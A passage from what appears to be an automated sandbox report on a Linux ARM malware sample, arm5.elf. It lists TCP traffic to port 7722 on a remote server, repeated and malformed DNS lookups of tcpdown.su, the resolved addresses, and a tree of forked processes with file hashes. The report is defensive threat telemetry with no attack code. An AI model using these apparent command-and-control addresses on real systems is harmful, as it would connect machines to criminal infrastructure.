Jan 1, 2025 18:43:46.657069921 CET	57188	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.657746077 CET	57186	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.657890081 CET	57186	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.661855936 CET	7722	57188	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:46.661914110 CET	57188	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.662667990 CET	7722	57186	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:46.671046972 CET	57188	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.671442032 CET	57188	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:46.675811052 CET	7722	57188	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:46.697690010 CET	7722	57184	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:46.705696106 CET	7722	57186	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:46.721719980 CET	7722	57188	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:47.010561943 CET	7722	57184	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:47.010643959 CET	57184	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:47.040998936 CET	7722	57186	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:47.041075945 CET	57186	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:47.047811985 CET	7722	57188	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:47.047883034 CET	57188	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.026984930 CET	57190	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.031888962 CET	7722	57190	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:54.031951904 CET	57190	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.032538891 CET	57190	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.032656908 CET	57190	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.037324905 CET	7722	57190	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:54.054766893 CET	57192	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.059643030 CET	7722	57192	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:54.059701920 CET	57192	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.060172081 CET	57192	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.060264111 CET	57192	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.064965963 CET	7722	57192	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:54.077624083 CET	7722	57190	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:54.105635881 CET	7722	57192	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:54.404808044 CET	7722	57190	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:54.404901981 CET	57190	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 18:43:54.449580908 CET	7722	57192	107.175.130.16	192.168.2.23
Jan 1, 2025 18:43:54.449646950 CET	57192	7722	192.168.2.23	107.175.130.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 18:41:51.850375891 CET	55391	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:51.903927088 CET	53	55391	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:51.907958984 CET	38465	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:51.922914028 CET	53	38465	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:51.927316904 CET	44256	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:51.937905073 CET	53	44256	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:51.942147017 CET	44859	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:51.956844091 CET	53	44859	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:51.960887909 CET	42066	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:51.969356060 CET	53	42066	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:51.973228931 CET	46332	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:51.980648994 CET	53	46332	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:53.842782974 CET	34622	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:53.857692003 CET	53	34622	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:53.990464926 CET	59342	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:53.999193907 CET	53	59342	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:54.004759073 CET	33384	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:54.023999929 CET	53	33384	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:54.029618025 CET	49939	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:54.043948889 CET	53	49939	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:54.049535990 CET	43494	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:54.058978081 CET	53	43494	1.1.1.1	192.168.2.23
Jan 1, 2025 18:41:54.063947916 CET	41379	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:41:59.118921995 CET	44715	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:04.208918095 CET	34640	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:09.285598993 CET	49726	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:14.287208080 CET	59502	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:21.115993023 CET	49670	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:21.126318932 CET	53	49670	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:21.127804041 CET	52688	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:21.137248993 CET	53	52688	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:21.137945890 CET	40171	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:21.157525063 CET	53	40171	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:21.158468962 CET	48756	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:21.166654110 CET	53	48756	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:21.167526960 CET	52124	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:21.186357021 CET	53	52124	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:21.187066078 CET	34478	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:26.189352036 CET	36486	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:31.192994118 CET	49116	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:36.198400021 CET	51332	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:41.203279972 CET	47999	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:48.067626953 CET	50880	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:48.076771021 CET	53	50880	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:48.078293085 CET	53783	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:48.093544006 CET	53	53783	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:48.094773054 CET	60954	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:48.103879929 CET	53	60954	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:48.105190039 CET	42520	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:48.124653101 CET	53	42520	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:48.126611948 CET	38794	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:48.142113924 CET	53	38794	1.1.1.1	192.168.2.23
Jan 1, 2025 18:42:48.143018961 CET	57284	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:53.148087978 CET	41605	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:42:58.152854919 CET	56961	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:03.156769037 CET	34195	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:08.159619093 CET	33695	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:14.992410898 CET	44541	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:15.013261080 CET	53	44541	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:15.014354944 CET	58981	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:15.036716938 CET	53	58981	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:15.037476063 CET	36339	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:15.045126915 CET	53	36339	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:15.045986891 CET	33140	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:15.059832096 CET	53	33140	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:15.060818911 CET	39033	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:15.067897081 CET	53	39033	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:15.068955898 CET	46171	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:20.073808908 CET	37009	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:25.080054998 CET	59635	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:30.085334063 CET	58890	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:35.087727070 CET	59562	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:41.914494991 CET	46738	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:41.933319092 CET	53	46738	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:41.934330940 CET	49837	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:41.946636915 CET	53	49837	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:41.948038101 CET	42592	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:41.955744028 CET	53	42592	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:41.956731081 CET	56012	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:41.970911980 CET	53	56012	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:41.971892118 CET	56096	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:41.981147051 CET	53	56096	1.1.1.1	192.168.2.23
Jan 1, 2025 18:43:41.982100964 CET	55480	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:46.986120939 CET	54162	53	192.168.2.23	1.1.1.1
Jan 1, 2025 18:43:51.989429951 CET	52996	53	192.168.2.23	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 1, 2025 18:41:51.850375891 CET	192.168.2.23	1.1.1.1	0x5af3	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.907958984 CET	192.168.2.23	1.1.1.1	0xd64	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.927316904 CET	192.168.2.23	1.1.1.1	0xd64	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.942147017 CET	192.168.2.23	1.1.1.1	0xd64	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.960887909 CET	192.168.2.23	1.1.1.1	0xd64	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.973228931 CET	192.168.2.23	1.1.1.1	0xd64	Standard query (0)	tcpdown.su\|1	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:53.842782974 CET	192.168.2.23	1.1.1.1	0x46a2	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:53.990464926 CET	192.168.2.23	1.1.1.1	0x46a2	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:54.004759073 CET	192.168.2.23	1.1.1.1	0x46a2	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:54.029618025 CET	192.168.2.23	1.1.1.1	0x46a2	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:54.049535990 CET	192.168.2.23	1.1.1.1	0x46a2	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:54.063947916 CET	192.168.2.23	1.1.1.1	0x32ae	Standard query (0)	tcpdown.suo. [malformed]	256	355	false
Jan 1, 2025 18:41:59.118921995 CET	192.168.2.23	1.1.1.1	0x32ae	Standard query (0)	tcpdown.suo. [malformed]	256	359	false
Jan 1, 2025 18:42:04.208918095 CET	192.168.2.23	1.1.1.1	0x32ae	Standard query (0)	tcpdown.suo. [malformed]	256	364	false
Jan 1, 2025 18:42:09.285598993 CET	192.168.2.23	1.1.1.1	0x32ae	Standard query (0)	tcpdown.suo. [malformed]	256	369	false
Jan 1, 2025 18:42:14.287208080 CET	192.168.2.23	1.1.1.1	0x32ae	Standard query (0)	tcpdown.suo. [malformed]	256	374	false
Jan 1, 2025 18:42:21.115993023 CET	192.168.2.23	1.1.1.1	0x9e6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.127804041 CET	192.168.2.23	1.1.1.1	0x9e6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.137945890 CET	192.168.2.23	1.1.1.1	0x9e6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.158468962 CET	192.168.2.23	1.1.1.1	0x9e6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.167526960 CET	192.168.2.23	1.1.1.1	0x9e6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.187066078 CET	192.168.2.23	1.1.1.1	0x9995	Standard query (0)	tcpdown.suo. [malformed]	256	381	false
Jan 1, 2025 18:42:26.189352036 CET	192.168.2.23	1.1.1.1	0x9995	Standard query (0)	tcpdown.suo. [malformed]	256	388	false
Jan 1, 2025 18:42:31.192994118 CET	192.168.2.23	1.1.1.1	0x9995	Standard query (0)	tcpdown.suo. [malformed]	256	396	false
Jan 1, 2025 18:42:36.198400021 CET	192.168.2.23	1.1.1.1	0x9995	Standard query (0)	tcpdown.suo. [malformed]	256	398	false
Jan 1, 2025 18:42:41.203279972 CET	192.168.2.23	1.1.1.1	0x9995	Standard query (0)	tcpdown.suo. [malformed]	256	406	false
Jan 1, 2025 18:42:48.067626953 CET	192.168.2.23	1.1.1.1	0x6b91	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.078293085 CET	192.168.2.23	1.1.1.1	0x6b91	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.094773054 CET	192.168.2.23	1.1.1.1	0x6b91	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.105190039 CET	192.168.2.23	1.1.1.1	0x6b91	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.126611948 CET	192.168.2.23	1.1.1.1	0x6b91	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.143018961 CET	192.168.2.23	1.1.1.1	0x100c	Standard query (0)	tcpdown.suo. [malformed]	256	412	false
Jan 1, 2025 18:42:53.148087978 CET	192.168.2.23	1.1.1.1	0x100c	Standard query (0)	tcpdown.suo. [malformed]	256	414	false
Jan 1, 2025 18:42:58.152854919 CET	192.168.2.23	1.1.1.1	0x100c	Standard query (0)	tcpdown.suo. [malformed]	256	421	false
Jan 1, 2025 18:43:03.156769037 CET	192.168.2.23	1.1.1.1	0x100c	Standard query (0)	tcpdown.suo. [malformed]	256	428	false
Jan 1, 2025 18:43:08.159619093 CET	192.168.2.23	1.1.1.1	0x100c	Standard query (0)	tcpdown.suo. [malformed]	256	429	false
Jan 1, 2025 18:43:14.992410898 CET	192.168.2.23	1.1.1.1	0x5ef6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.014354944 CET	192.168.2.23	1.1.1.1	0x5ef6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.037476063 CET	192.168.2.23	1.1.1.1	0x5ef6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.045986891 CET	192.168.2.23	1.1.1.1	0x5ef6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.060818911 CET	192.168.2.23	1.1.1.1	0x5ef6	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.068955898 CET	192.168.2.23	1.1.1.1	0x64da	Standard query (0)	tcpdown.suo. [malformed]	256	436	false
Jan 1, 2025 18:43:20.073808908 CET	192.168.2.23	1.1.1.1	0x64da	Standard query (0)	tcpdown.suo. [malformed]	256	444	false
Jan 1, 2025 18:43:25.080054998 CET	192.168.2.23	1.1.1.1	0x64da	Standard query (0)	tcpdown.suo. [malformed]	256	450	false
Jan 1, 2025 18:43:30.085334063 CET	192.168.2.23	1.1.1.1	0x64da	Standard query (0)	tcpdown.suo. [malformed]	256	451	false
Jan 1, 2025 18:43:35.087727070 CET	192.168.2.23	1.1.1.1	0x64da	Standard query (0)	tcpdown.suo. [malformed]	256	459	false
Jan 1, 2025 18:43:41.914494991 CET	192.168.2.23	1.1.1.1	0x13aa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.934330940 CET	192.168.2.23	1.1.1.1	0x13aa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.948038101 CET	192.168.2.23	1.1.1.1	0x13aa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.956731081 CET	192.168.2.23	1.1.1.1	0x13aa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.971892118 CET	192.168.2.23	1.1.1.1	0x13aa	Standard query (0)	tcpdown.su	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.982100964 CET	192.168.2.23	1.1.1.1	0xd7c6	Standard query (0)	tcpdown.suo. [malformed]	256	466	false
Jan 1, 2025 18:43:46.986120939 CET	192.168.2.23	1.1.1.1	0xd7c6	Standard query (0)	tcpdown.suo. [malformed]	256	467	false
Jan 1, 2025 18:43:51.989429951 CET	192.168.2.23	1.1.1.1	0xd7c6	Standard query (0)	tcpdown.suo. [malformed]	256	474	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 1, 2025 18:41:51.903927088 CET	1.1.1.1	192.168.2.23	0x5af3	No error (0)	tcpdown.su		45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.903927088 CET	1.1.1.1	192.168.2.23	0x5af3	No error (0)	tcpdown.su		45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.903927088 CET	1.1.1.1	192.168.2.23	0x5af3	No error (0)	tcpdown.su		23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.903927088 CET	1.1.1.1	192.168.2.23	0x5af3	No error (0)	tcpdown.su		23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.903927088 CET	1.1.1.1	192.168.2.23	0x5af3	No error (0)	tcpdown.su		104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.903927088 CET	1.1.1.1	192.168.2.23	0x5af3	No error (0)	tcpdown.su		45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.903927088 CET	1.1.1.1	192.168.2.23	0x5af3	No error (0)	tcpdown.su		45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.922914028 CET	1.1.1.1	192.168.2.23	0xd64	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.937905073 CET	1.1.1.1	192.168.2.23	0xd64	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.956844091 CET	1.1.1.1	192.168.2.23	0xd64	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.969356060 CET	1.1.1.1	192.168.2.23	0xd64	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:51.980648994 CET	1.1.1.1	192.168.2.23	0xd64	Name error (3)	tcpdown.su\|1	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:53.857692003 CET	1.1.1.1	192.168.2.23	0x46a2	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:53.999193907 CET	1.1.1.1	192.168.2.23	0x46a2	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:54.023999929 CET	1.1.1.1	192.168.2.23	0x46a2	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:54.043948889 CET	1.1.1.1	192.168.2.23	0x46a2	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:41:54.058978081 CET	1.1.1.1	192.168.2.23	0x46a2	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.126318932 CET	1.1.1.1	192.168.2.23	0x9e6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.137248993 CET	1.1.1.1	192.168.2.23	0x9e6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.157525063 CET	1.1.1.1	192.168.2.23	0x9e6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.166654110 CET	1.1.1.1	192.168.2.23	0x9e6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:21.186357021 CET	1.1.1.1	192.168.2.23	0x9e6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.076771021 CET	1.1.1.1	192.168.2.23	0x6b91	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.093544006 CET	1.1.1.1	192.168.2.23	0x6b91	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.103879929 CET	1.1.1.1	192.168.2.23	0x6b91	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.124653101 CET	1.1.1.1	192.168.2.23	0x6b91	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:42:48.142113924 CET	1.1.1.1	192.168.2.23	0x6b91	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.013261080 CET	1.1.1.1	192.168.2.23	0x5ef6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.036716938 CET	1.1.1.1	192.168.2.23	0x5ef6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.045126915 CET	1.1.1.1	192.168.2.23	0x5ef6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.059832096 CET	1.1.1.1	192.168.2.23	0x5ef6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:15.067897081 CET	1.1.1.1	192.168.2.23	0x5ef6	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.933319092 CET	1.1.1.1	192.168.2.23	0x13aa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.946636915 CET	1.1.1.1	192.168.2.23	0x13aa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.955744028 CET	1.1.1.1	192.168.2.23	0x13aa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.970911980 CET	1.1.1.1	192.168.2.23	0x13aa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false
Jan 1, 2025 18:43:41.981147051 CET	1.1.1.1	192.168.2.23	0x13aa	Name error (3)	tcpdown.su	none	none	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: dash PID: 6223, Parent PID: 4331

General

Start time (UTC):	17:41:46
Start date (UTC):	01/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6223, Parent PID: 4331

General

Start time (UTC):	17:41:46
Start date (UTC):	01/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.s3f1DOFraO /tmp/tmp.INBspAWO6B /tmp/tmp.AXSB26qnlD
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 6224, Parent PID: 4331

General

Start time (UTC):	17:41:46
Start date (UTC):	01/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6224, Parent PID: 4331

General

Start time (UTC):	17:41:46
Start date (UTC):	01/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.s3f1DOFraO /tmp/tmp.INBspAWO6B /tmp/tmp.AXSB26qnlD
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: arm5.elf PID: 6251, Parent PID: 6151

General

Start time (UTC):	17:41:48
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	/tmp/arm5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6253, Parent PID: 6251

General

Start time (UTC):	17:41:48
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6255, Parent PID: 6253

General

Start time (UTC):	17:41:48
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6415, Parent PID: 6255

General

Start time (UTC):	17:41:57
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6417, Parent PID: 6255

General

Start time (UTC):	17:41:57
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6426, Parent PID: 6255

General

Start time (UTC):	17:41:57
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6434, Parent PID: 6255

General

Start time (UTC):	17:41:57
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6436, Parent PID: 6255

General

Start time (UTC):	17:41:57
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6443, Parent PID: 6255

General

Start time (UTC):	17:41:57
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6452, Parent PID: 6255

General

Start time (UTC):	17:42:02
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6454, Parent PID: 6255

General

Start time (UTC):	17:42:02
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm5.elf PID: 6463, Parent PID: 6255

General

Start time (UTC):	17:42:07
Start date (UTC):	01/01/2025
Path:	/tmp/arm5.elf
